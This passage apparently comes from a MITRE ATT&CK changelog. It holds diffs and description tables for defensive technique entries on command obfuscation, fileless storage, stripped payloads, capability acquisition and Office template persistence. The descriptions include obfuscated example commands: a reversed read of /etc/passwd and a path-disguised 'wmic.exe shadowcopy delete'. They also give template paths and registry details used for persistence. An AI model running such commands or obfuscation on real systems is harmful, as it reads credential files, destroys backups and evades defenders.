PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n\\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\\\voi\\\\pcw\\\\..\\\\..\\\\Windows\\\\tei\\\\qs\\\\k\\\\..\\\\..\\\\..\\\\system32\\\\erool\\\\..\\\\wbem\\\\wg\\\\je\\\\..\\\\..\\\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\\n\\nTools such as Invoke-Obfuscation and Invoke-DOSfucation have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\\n \\n-For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n+For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n \\n Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\\\voi\\\\pcw\\\\..\\\\..\\\\Windows\\\\tei\\\\qs\\\\k\\\\..\\\\..\\\\..\\\\system32\\\\erool\\\\..\\\\wbem\\\\wg\\\\je\\\\..\\\\..\\\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\\n \"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obfuscate content during command execution t | t | 1 | Adversaries may obfuscate content during command execution t |
| > | o impede detection. Command-line obfuscation is a method of | > | o impede detection. Command-line obfuscation is a method of | ||
| > | making strings and patterns within commands and scripts more | > | making strings and patterns within commands and scripts more | ||
| > | difficult to signature and analyze. This type of obfuscatio | > | difficult to signature and analyze. This type of obfuscatio | ||
| > | n can be included within commands executed by delivered payl | > | n can be included within commands executed by delivered payl | ||
| > | oads (e.g., [Phishing](https://attack.mitre.org/techniques/T | > | oads (e.g., [Phishing](https://attack.mitre.org/techniques/T | ||
| > | 1566) and [Drive-by Compromise](https://attack.mitre.org/tec | > | 1566) and [Drive-by Compromise](https://attack.mitre.org/tec | ||
| > | hniques/T1189)) or interactively via [Command and Scripting | > | hniques/T1189)) or interactively via [Command and Scripting | ||
| > | Interpreter](https://attack.mitre.org/techniques/T1059).(Cit | > | Interpreter](https://attack.mitre.org/techniques/T1059).(Cit | ||
| > | ation: Akamai JS)(Citation: Malware Monday VBE) For example | > | ation: Akamai JS)(Citation: Malware Monday VBE) For example | ||
| > | , adversaries may abuse syntax that utilizes various symbols | > | , adversaries may abuse syntax that utilizes various symbols | ||
| > | and escape characters (such as spacing, `^`, `+`. `$`, and | > | and escape characters (such as spacing, `^`, `+`, `$`, and | ||
| > | `%`) to make commands difficult to analyze while maintainin | > | `%`) to make commands difficult to analyze while maintainin | ||
| > | g the same intended functionality.(Citation: RC PowerShell) | > | g the same intended functionality.(Citation: RC PowerShell) | ||
| > | Many languages support built-in obfuscation in the form of b | > | Many languages support built-in obfuscation in the form of b | ||
| > | ase64 or URL encoding.(Citation: Microsoft PowerShellB64) Ad | > | ase64 or URL encoding.(Citation: Microsoft PowerShellB64) Ad | ||
| > | versaries may also manually implement command obfuscation vi | > | versaries may also manually implement command obfuscation vi | ||
| > | a string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casi | > | a string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casi | ||
| > | ng of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkd | > | ng of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mk | ||
| > | ir -p '/tmp/:&$NiA'`), as well as various tricks involving p | > | dir -p '/tmp/:&$NiA'`), as well as various tricks involving | ||
| > | assing strings through tokens/environment variables/input st | > | passing strings through tokens/environment variables/input s | ||
| > | reams.(Citation: Bashfuscator Command Obfuscators)(Citation: | > | treams.(Citation: Bashfuscator Command Obfuscators)(Citation | ||
| > | FireEye Obfuscation June 2017) Adversaries may also use tr | > | : FireEye Obfuscation June 2017) Adversaries may also use t | ||
| > | icks such as directory traversals to obfuscate references to | > | ricks such as directory traversals to obfuscate references t | ||
| > | the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Wi | > | o the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\W | ||
| > | ndows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\w | > | indows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\ | ||
| > | mic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC) | > | wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC | ||
| > | Tools such as <code>Invoke-Obfuscation</code> and <code>In | > | ) Tools such as <code>Invoke-Obfuscation</code> and <code>I | ||
| > | voke-DOSfucation</code> have also been used to obfuscate com | > | nvoke-DOSfucation</code> have also been used to obfuscate co | ||
| > | mands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfus | > | mmands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfu | ||
| > | cation) | > | scation) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may store data in \"fileless\" formats to conceal | t | 1 | Adversaries may store data in \"fileless\" formats to conceal |
| > | malicious activity from defenses. Fileless storage can be br | > | malicious activity from defenses. Fileless storage can be br | ||
| > | oadly defined as any format other than a file. Common exampl | > | oadly defined as any format other than a file. Common exampl | ||
| > | es of non-volatile fileless storage in Windows systems inclu | > | es of non-volatile fileless storage in Windows systems inclu | ||
| > | de the Windows Registry, event logs, or WMI repository.(Cita | > | de the Windows Registry, event logs, or WMI repository.(Cita | ||
| > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | > | tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha | ||
| > | red memory directories on Linux systems (`/dev/shm`, `/run/s | > | red memory directories on Linux systems (`/dev/shm`, `/run/s | ||
| > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | > | hm`, `/var/run`, and `/var/lock`) and volatile directories o | ||
| > | n Network Devices (`/tmp` and `/volatile`) may also be consi | > | n Network Devices (`/tmp` and `/volatile`) may also be consi | ||
| > | dered fileless storage, as files written to these directorie | > | dered fileless storage, as files written to these directorie | ||
| > | s are mapped directly to RAM and not stored on the disk.(Cit | > | s are mapped directly to RAM and not stored on the disk.(Cit | ||
| > | ation: Elastic Binary Executed from Shared Memory Directory) | > | ation: Elastic Binary Executed from Shared Memory Directory) | ||
| > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | > | (Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik | ||
| > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | > | Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC | ||
| > | O Nexus 900 Config). Similar to fileless in-memory behavior | > | O Nexus 900 Config) Similar to fileless in-memory behaviors | ||
| > | s such as [Reflective Code Loading](https://attack.mitre.org | > | such as [Reflective Code Loading](https://attack.mitre.org/ | ||
| > | /techniques/T1620) and [Process Injection](https://attack.mi | > | techniques/T1620) and [Process Injection](https://attack.mit | ||
| > | tre.org/techniques/T1055), fileless data storage may remain | > | re.org/techniques/T1055), fileless data storage may remain u | ||
| > | undetected by antivirus and other endpoint security tools th | > | ndetected by antivirus and other endpoint security tools tha | ||
| > | at can only access specific file formats from disk storage. | > | t can only access specific file formats from disk storage. L | ||
| > | Leveraging fileless storage may also allow adversaries to by | > | everaging fileless storage may also allow adversaries to byp | ||
| > | pass the protections offered by read-only file systems in Li | > | ass the protections offered by read-only file systems in Lin | ||
| > | nux.(Citation: Sysdig Fileless Malware 23022) Adversaries m | > | ux.(Citation: Sysdig Fileless Malware 23022) Adversaries ma | ||
| > | ay use fileless storage to conceal various types of stored d | > | y use fileless storage to conceal various types of stored da | ||
| > | ata, including payloads/shellcode (potentially being used as | > | ta, including payloads/shellcode (potentially being used as | ||
| > | part of [Persistence](https://attack.mitre.org/tactics/TA00 | > | part of [Persistence](https://attack.mitre.org/tactics/TA000 | ||
| > | 03)) and collected data not yet exfiltrated from the victim | > | 3)) and collected data not yet exfiltrated from the victim ( | ||
| > | (e.g., [Local Data Staging](https://attack.mitre.org/techniq | > | e.g., [Local Data Staging](https://attack.mitre.org/techniqu | ||
| > | ues/T1074/001)). Adversaries also often encrypt, encode, spl | > | es/T1074/001)). Adversaries also often encrypt, encode, spli | ||
| > | ice, or otherwise obfuscate this fileless data when stored. | > | ce, or otherwise obfuscate this fileless data when stored. | ||
| > | Some forms of fileless storage activity may indirectly cre | > | Some forms of fileless storage activity may indirectly crea | ||
| > | ate artifacts in the file system, but in central and otherwi | > | te artifacts in the file system, but in central and otherwis | ||
| > | se difficult to inspect formats such as the WMI (e.g., `%Sys | > | e difficult to inspect formats such as the WMI (e.g., `%Syst | ||
| > | temRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%Sys | > | emRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%Syst | ||
| > | temRoot%\\System32\\Config`) physical files.(Citation: Microso | > | emRoot%\\System32\\Config`) physical files.(Citation: Microsof | ||
| > | ft Fileless) | > | t Fileless) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to make a payload difficult to analy | t | 1 | Adversaries may attempt to make a payload difficult to analy |
| > | ze by removing symbols, strings, and other human readable in | > | ze by removing symbols, strings, and other human readable in | ||
| > | formation. Scripts and executables may contain variables nam | > | formation. Scripts and executables may contain variable name | ||
| > | es and other strings that help developers document code func | > | s and other strings that help developers document code funct | ||
| > | tionality. Symbols are often created by an operating system\u2019 | > | ionality. Symbols are often created by an operating system\u2019s | ||
| > | s `linker` when executable payloads are compiled. Reverse en | > | `linker` when executable payloads are compiled. Reverse eng | ||
| > | gineers use these symbols and strings to analyze code and to | > | ineers use these symbols and strings to analyze code and to | ||
| > | identify functionality in payloads.(Citation: Mandiant gola | > | identify functionality in payloads.(Citation: Mandiant golan | ||
| > | ng stripped binaries explanation)(Citation: intezer stripped | > | g stripped binaries explanation)(Citation: intezer stripped | ||
| > | binaries elf files 2018) Adversaries may use stripped payl | > | binaries elf files 2018) Adversaries may use stripped paylo | ||
| > | oads in order to make malware analysis more difficult. For e | > | ads in order to make malware analysis more difficult. For ex | ||
| > | xample, compilers and other tools may provide features to re | > | ample, compilers and other tools may provide features to rem | ||
| > | move or obfuscate strings and symbols. Adversaries have also | > | ove or obfuscate strings and symbols. Adversaries have also | ||
| > | used stripped payload formats, such as run-only AppleScript | > | used stripped payload formats, such as run-only AppleScripts | ||
| > | s, a compiled and stripped version of [AppleScript](https:// | > | , a compiled and stripped version of [AppleScript](https://a | ||
| > | attack.mitre.org/techniques/T1059/002), to evade detection a | > | ttack.mitre.org/techniques/T1059/002), to evade detection an | ||
| > | nd analysis. The lack of human-readable information may dire | > | d analysis. The lack of human-readable information may direc | ||
| > | ctly hinder detection and analysis of payloads.(Citation: Se | > | tly hinder detection and analysis of payloads.(Citation: Sen | ||
| > | ntinelLabs reversing run-only applescripts 2021) | > | tinelLabs reversing run-only applescripts 2021) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy and/or steal capabilities that can be us | t | 1 | Adversaries may buy and/or steal capabilities that can be us |
| > | ed during targeting. Rather than developing their own capabi | > | ed during targeting. Rather than developing their own capabi | ||
| > | lities in-house, adversaries may purchase, freely download, | > | lities in-house, adversaries may purchase, freely download, | ||
| > | or steal them. Activities may include the acquisition of mal | > | or steal them. Activities may include the acquisition of mal | ||
| > | ware, software (including licenses), exploits, certificates, | > | ware, software (including licenses), exploits, certificates, | ||
| > | and information relating to vulnerabilities. Adversaries ma | > | and information relating to vulnerabilities. Adversaries ma | ||
| > | y obtain capabilities to support their operations throughout | > | y obtain capabilities to support their operations throughout | ||
| > | numerous phases of the adversary lifecycle. In addition to | > | numerous phases of the adversary lifecycle. In addition to | ||
| > | downloading free malware, software, and exploits from the i | > | downloading free malware, software, and exploits from the i | ||
| > | nternet, adversaries may purchase these capabilities from th | > | nternet, adversaries may purchase these capabilities from th | ||
| > | ird-party entities. Third-party entities can include technol | > | ird-party entities. Third-party entities can include technol | ||
| > | ogy companies that specialize in malware and exploits, crimi | > | ogy companies that specialize in malware and exploits, crimi | ||
| > | nal marketplaces, or from individuals.(Citation: NationsBuyi | > | nal marketplaces, or individuals.(Citation: NationsBuying)(C | ||
| > | ng)(Citation: PegasusCitizenLab) In addition to purchasing | > | itation: PegasusCitizenLab) In addition to purchasing capab | ||
| > | capabilities, adversaries may steal capabilities from third- | > | ilities, adversaries may steal capabilities from third-party | ||
| > | party entities (including other adversaries). This can inclu | > | entities (including other adversaries). This can include st | ||
| > | de stealing software licenses, malware, SSL/TLS and code-sig | > | ealing software licenses, malware, SSL/TLS and code-signing | ||
| > | ning certificates, or raiding closed databases of vulnerabil | > | certificates, or raiding closed databases of vulnerabilities | ||
| > | ities or exploits.(Citation: DiginotarCompromise) | > | or exploits.(Citation: DiginotarCompromise) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download exploits that can be | t | 1 | Adversaries may buy, steal, or download exploits that can be |
| > | used during targeting. An exploit takes advantage of a bug | > | used during targeting. An exploit takes advantage of a bug | ||
| > | or vulnerability in order to cause unintended or unanticipat | > | or vulnerability in order to cause unintended or unanticipat | ||
| > | ed behavior to occur on computer hardware or software. Rathe | > | ed behavior to occur on computer hardware or software. Rathe | ||
| > | r than developing their own exploits, an adversary may find/ | > | r than developing their own exploits, an adversary may find/ | ||
| > | modify exploits from online or purchase them from exploit ve | > | modify exploits from online or purchase them from exploit ve | ||
| > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | > | ndors.(Citation: Exploit Database)(Citation: TempertonDarkHo | ||
| > | tel)(Citation: NationsBuying) In addition to downloading fr | > | tel)(Citation: NationsBuying) In addition to downloading fr | ||
| > | ee exploits from the internet, adversaries may purchase expl | > | ee exploits from the internet, adversaries may purchase expl | ||
| > | oits from third-party entities. Third-party entities can inc | > | oits from third-party entities. Third-party entities can inc | ||
| > | lude technology companies that specialize in exploit develop | > | lude technology companies that specialize in exploit develop | ||
| > | ment, criminal marketplaces (including exploit kits), or fro | > | ment, criminal marketplaces (including exploit kits), or ind | ||
| > | m individuals.(Citation: PegasusCitizenLab)(Citation: Wired | > | ividuals.(Citation: PegasusCitizenLab)(Citation: Wired SandC | ||
| > | SandCat Oct 2019) In addition to purchasing exploits, advers | > | at Oct 2019) In addition to purchasing exploits, adversaries | ||
| > | aries may steal and repurpose exploits from third-party enti | > | may steal and repurpose exploits from third-party entities | ||
| > | ties (including other adversaries).(Citation: TempertonDarkH | > | (including other adversaries).(Citation: TempertonDarkHotel) | ||
| > | otel) An adversary may monitor exploit provider forums to u | > | An adversary may monitor exploit provider forums to unders | ||
| > | nderstand the state of existing, as well as newly discovered | > | tand the state of existing, as well as newly discovered, exp | ||
| > | , exploits. There is usually a delay between when an exploit | > | loits. There is usually a delay between when an exploit is d | ||
| > | is discovered and when it is made public. An adversary may | > | iscovered and when it is made public. An adversary may targe | ||
| > | target the systems of those known to conduct exploit researc | > | t the systems of those known to conduct exploit research and | ||
| > | h and development in order to gain that knowledge for use du | > | development in order to gain that knowledge for use during | ||
| > | ring a subsequent operation. Adversaries may use exploits d | > | a subsequent operation. Adversaries may use exploits during | ||
| > | uring various phases of the adversary lifecycle (i.e. [Explo | > | various phases of the adversary lifecycle (i.e. [Exploit Pu | ||
| > | it Public-Facing Application](https://attack.mitre.org/techn | > | blic-Facing Application](https://attack.mitre.org/techniques | ||
| > | iques/T1190), [Exploitation for Client Execution](https://at | > | /T1190), [Exploitation for Client Execution](https://attack. | ||
| > | tack.mitre.org/techniques/T1203), [Exploitation for Privileg | > | mitre.org/techniques/T1203), [Exploitation for Privilege Esc | ||
| > | e Escalation](https://attack.mitre.org/techniques/T1068), [E | > | alation](https://attack.mitre.org/techniques/T1068), [Exploi | ||
| > | xploitation for Stealth](https://attack.mitre.org/techniques | > | tation for Stealth](https://attack.mitre.org/techniques/T121 | ||
| > | /T1211), [Exploitation for Credential Access](https://attack | > | 1), [Exploitation for Credential Access](https://attack.mitr | ||
| > | .mitre.org/techniques/T1212), [Exploitation of Remote Servic | > | e.org/techniques/T1212), [Exploitation of Remote Services](h | ||
| > | es](https://attack.mitre.org/techniques/T1210), and [Applica | > | ttps://attack.mitre.org/techniques/T1210), and [Application | ||
| > | tion or System Exploitation](https://attack.mitre.org/techni | > | or System Exploitation](https://attack.mitre.org/techniques/ | ||
| > | ques/T1499/004)). | > | T1499/004)). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download malware that can be | t | 1 | Adversaries may buy, steal, or download malware that can be |
| > | used during targeting. Malicious software can include payloa | > | used during targeting. Malicious software can include payloa | ||
| > | ds, droppers, post-compromise tools, backdoors, packers, and | > | ds, droppers, post-compromise tools, backdoors, packers, and | ||
| > | C2 protocols. Adversaries may acquire malware to support th | > | C2 protocols. Adversaries may acquire malware to support th | ||
| > | eir operations, obtaining a means for maintaining control of | > | eir operations, obtaining a means for maintaining control of | ||
| > | remote machines, evading defenses, and executing post-compr | > | remote machines, evading defenses, and executing post-compr | ||
| > | omise behaviors. In addition to downloading free malware fr | > | omise behaviors. In addition to downloading free malware fr | ||
| > | om the internet, adversaries may purchase these capabilities | > | om the internet, adversaries may purchase these capabilities | ||
| > | from third-party entities. Third-party entities can include | > | from third-party entities. Third-party entities can include | ||
| > | technology companies that specialize in malware development | > | technology companies that specialize in malware development | ||
| > | , criminal marketplaces (including Malware-as-a-Service, or | > | , criminal marketplaces (including Malware-as-a-Service, or | ||
| > | MaaS), or from individuals.(Citation: BITSIGHT Malware Analy | > | MaaS), or individuals.(Citation: BITSIGHT Malware Analysis) | ||
| > | sis) In addition to purchasing malware, adversaries may stea | > | In addition to purchasing malware, adversaries may steal and | ||
| > | l and repurpose malware from third-party entities (including | > | repurpose malware from third-party entities (including othe | ||
| > | other adversaries). | > | r adversaries). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Microsoft Office add-ins to obtain per | t | 1 | Adversaries may abuse Microsoft Office add-ins to obtain per |
| > | sistence on a compromised system. Office add-ins can be used | > | sistence on a compromised system. Office add-ins can be used | ||
| > | to add functionality to Office programs. (Citation: Microso | > | to add functionality to Office programs.(Citation: Microsof | ||
| > | ft Office Add-ins) There are different types of add-ins that | > | t Office Add-ins) There are different types of add-ins that | ||
| > | can be used by the various Office products; including Word/ | > | can be used by the various Office products; including Word/E | ||
| > | Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Compon | > | xcel add-in Libraries (WLL/XLL), VBA add-ins, Office Compone | ||
| > | ent Object Model (COM) add-ins, automation add-ins, VBA Edit | > | nt Object Model (COM) add-ins, automation add-ins, VBA Edito | ||
| > | or (VBE), Visual Studio Tools for Office (VSTO) add-ins, and | > | r (VBE), Visual Studio Tools for Office (VSTO) add-ins, and | ||
| > | Outlook add-ins. (Citation: MRWLabs Office Persistence Add- | > | Outlook add-ins.(Citation: MRWLabs Office Persistence Add-in | ||
| > | ins)(Citation: FireEye Mail CDS 2018) Add-ins can be used t | > | s)(Citation: FireEye Mail CDS 2018) Add-ins can be used to | ||
| > | o obtain persistence because they can be set to execute code | > | obtain persistence because they can be set to execute code w | ||
| > | when an Office application starts. | > | hen an Office application starts. |
C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1137/001",
"external_id": "T1137.001"
},
{
"source_name": "MSDN VBA in Office",
"description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.",
"url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office"
},
{
"source_name": "Hexacorn Office Template Macros",
"description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.",
"url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/"
},
{
"source_name": "Microsoft Change Normal Template",
"description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.",
"url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea"
},
{
"source_name": "enigma0x3 normal.dotm",
"description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.",
"url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/"
},
{
"source_name": "GlobalDotName Jun 2019",
"description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.",
"url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Office Suite",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:31:45.017000+00:00\", \"old_value\": \"2026-05-12 15:12:00.643000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.(Citation: Microsoft Change Normal Template)\\n\\nOffice Visual Basic for Applications (VBA) macros(Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n\\nWord Normal.dotm location:C:\\\\Users\\\\<username>\\\\AppData\\\\Roaming\\\\Microsoft\\\\Templates\\\\Normal.dotm\\n\\nExcel Personal.xlsb location:C:\\\\Users\\\\<username>\\\\AppData\\\\Roaming\\\\Microsoft\\\\Excel\\\\XLSTART\\\\PERSONAL.XLSB\\n\\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \\n\\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\", \"old_value\": \"Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\\n\\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n\\nWord Normal.dotm location:C:\\\\Users\\\\<username>\\\\AppData\\\\Roaming\\\\Microsoft\\\\Templates\\\\Normal.dotm\\n\\nExcel Personal.xlsb location:C:\\\\Users\\\\<username>\\\\AppData\\\\Roaming\\\\Microsoft\\\\Excel\\\\XLSTART\\\\PERSONAL.XLSB\\n\\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\\\Program Files (x86)\\\\Microsoft Office\\\\root\\\\Office16\\\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \\n\\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\\n+Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.(Citation: Microsoft Change Normal Template)\\n \\n-Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n+Office Visual Basic for Applications (VBA) macros(Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \\n \\n Word Normal.dotm location:C:\\\\Users\\\\<username>\\\\AppData\\\\Roaming\\\\Microsoft\\\\Templates\\\\Normal.dotm\"}}, \"iterable_item_removed\": {\"root['external_references'][5]\": {\"source_name\": \"CrowdStrike Outlook Forms\", \"description\": \"Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.\", \"url\": \"https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746\"}, \"root['external_references'][7]\": {\"source_name\": \"Outlook Today Home Page\", \"description\": \"Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.\", \"url\": \"https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943\"}}}",
"previous_version": "1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Microsoft Office templates to obtain p | t | 1 | Adversaries may abuse Microsoft Office templates to obtain p |
| > | ersistence on a compromised system. Microsoft Office contain | > | ersistence on a compromised system. Microsoft Office contain | ||
